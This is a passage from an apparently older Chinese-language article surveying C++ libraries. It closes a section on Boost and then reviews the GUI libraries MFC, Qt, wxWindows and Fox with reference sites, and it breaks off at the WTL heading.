/>Boost总体来说是实用价值很高，质量很高的库。并且由于其对跨平台的强调，对标准C++的强调，是编写平台无关，现代C++的开发者必备的工具。但是Boost中也有很多是实验性质的东西，在实际的开发中实用需要谨慎。并且很多Boost中的库功能堪称对语言功能的扩展，其构造用尽精巧的手法，不要贸然的花费时间研读。Boost另外一面，比如Graph这样的库则是具有工业强度，结构良好，非常值得研读的精品代码，并且也可以放心的在产品代码中多多利用。<br /><br />参考站点：http://www.boost.org （国内镜像：http://www.c-view.org/tech/lib/boost/index.htm ）<br /><br />GUI<br /><br />在众多C++的库中，GUI部分的库算是比较繁荣，也比较引人注目的。在实际开发中，GUI库的选择也是非常重要的一件事情，下面我们综述一下可选择的GUI库，各自的特点以及相关工具的支持。<br /><br />1、 &nbsp; MFC<br /><br />大名鼎鼎的微软基础类库（Microsoft Foundation Class）。大凡学过VC++的人都应该知道这个库。虽然从技术角度讲，MFC是不大漂亮的，但是它构建于Windows API 之上，能够使程序员的工作更容易,编程效率高，减少了大量在建立 Windows 程序时必须编写的代码，同时它还提供了所有一般 C++ 编程的优点，例如继承和封装。MFC 编写的程序在各个版本的Windows操作系统上是可移植的，例如，在 Windows 3.1下编写的代码可以很容易地移植到 Windows NT 或 Windows 95 上。但是在最近发展以及官方支持上日渐势微。<br /><br /><br />2、 &nbsp; QT<br /><br />参考网站：http://www.trolltech.com/<br /><br />Qt是Trolltech公司的一个多平台的C++图形用户界面应用程序框架。它提供给应用程序开发者建立艺术级的图形用户界面所需的所用功能。Qt是完全面向对象的很容易扩展，并且允许真正地组件编程。自从1996年早些时候，Qt进入商业领域，它已经成为全世界范围内数千种成功的应用程序的基础。Qt也是流行的Linux桌面环境KDE 的基础，同时它还支持Windows、Macintosh、Unix/X11等多种平台。<br /><br /><br />3、WxWindows<br /><br />参考网站：http://www.wxwindows.org/<br /><br />跨平台的GUI库。因为其类层次极像MFC，所以有文章介绍从MFC到WxWindows的代码移植以实现跨平台的功能。通过多年的开发也是一个日趋完善的GUI库，支持同样不弱于前面两个库。并且是完全开放源代码的。新近的C++ Builder X的GUI设计器就是基于这个库的。<br /><br />4、Fox <br /><br />开放源代码的GUI库。作者从自己亲身的开发经验中得出了一个理想的GUI库应该是什么样子的感受出发，从而开始了对这个库的开发。有兴趣的可以尝试一下。<br /><br />参考网站：http://www.fox-toolkit.org/<br /><br />5、 &nbsp; WTL